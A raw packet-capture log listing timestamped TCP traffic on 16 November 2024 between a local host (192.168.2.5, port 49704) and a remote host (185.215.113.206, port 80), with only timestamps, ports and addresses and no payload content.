Nov 16, 2024 23:36:15.616981983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.616986990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617007017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617019892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617041111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617041111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617059946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617259979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617284060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617304087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617316008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617316008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617322922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617338896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617342949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617360115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617364883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617377996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617379904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617394924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617398024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617413044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617415905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617429972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617433071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617448092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617454052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617465019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.617474079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617497921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.617497921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764564991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764635086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764640093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764655113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764678955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764679909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764698029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764700890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764714003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764719009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764734983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764738083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764750957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764755011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764772892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764795065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764813900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764827967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764842033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764858007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764873028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764875889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764889956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764904022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764904022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764908075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764931917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764931917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764950991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.764961958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.764997959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765012026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765014887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765037060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765048981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765048981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765053988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765070915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765084028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765104055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765122890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765165091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765187025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765203953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765219927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765227079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765244007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765248060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765248060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765259981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765269041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765280008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765290022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765295029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765309095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765315056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765336990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765337944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765336990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765355110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765363932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765384912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765388966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765388966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765398979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765429974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765433073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765450954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765465975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765482903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765485048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765500069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765510082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765511036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765516043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765532970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765548944 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765594006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765607119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765623093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765640020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765657902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765662909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765680075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765697002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765706062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765722990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765738964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765822887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765857935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765872955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765903950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.765943050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765968084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765983105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.765995979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766010046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766024113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766024113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766026020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766043901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766057014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766062021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766079903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766093016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766098022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766113997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766113997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766134977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766150951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766184092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766199112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766215086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766228914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766228914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766254902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766271114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766284943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766290903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766302109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766341925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766341925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766345978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766361952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766377926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766396046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766413927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766447067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766462088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766478062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766494036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766499043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766499043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766519070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766537905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766551018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766567945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766592026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766598940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766607046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766628981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766628981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766634941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766652107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766670942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766705990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766721964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766736984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766752958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766758919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766783953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766784906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766803980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766819000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766870022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766872883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766886950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766927004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766927004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.766974926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.766998053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767014980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767030001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767035961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767035961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767046928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767056942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767067909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767076969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767083883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767101049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767102003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767102003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767118931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767121077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767138004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767157078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767179012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767195940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767236948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767236948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767267942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767282963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767342091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767342091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767349958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767374992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767390966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767405033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767410994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767410994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767422915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767438889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767438889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767461061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767472029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767488956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767504930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767529011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767530918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767530918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767545938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767551899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767570972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767601967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767644882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767662048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767678022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767707109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767707109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767716885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767729044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767735958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767751932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767766953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767767906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767787933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767796040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767796040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767822027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767822027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767859936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767877102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767900944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767916918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767919064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767919064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767934084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.767940044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767959118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.767992020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768042088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768064976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768080950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768095016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768095016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768112898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768122911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768122911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768131971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768141985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768160105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768162966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768176079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768182039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768199921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768230915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768248081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768264055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768279076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768304110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768301010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768323898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768327951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768328905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768340111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768354893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768354893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768358946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768374920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768376112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768397093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768416882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768450975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768476009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768491983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768508911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768510103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768524885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768532038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768572092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768657923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768675089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768697023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768711090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768712044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768731117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768738031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768738031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768748045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768757105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768764973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768781900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768781900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768783092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768796921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768801928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768827915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768827915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768866062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768882036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768898964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768917084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768923044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768923998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768934965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.768944979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768970966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.768970966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769679070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769695044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769710064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769742012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769742012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769756079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769763947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 23:36:15.769772053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769789934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 23:36:15.769808054 CET	49704	80	192.168.2.5	185.215.113.206
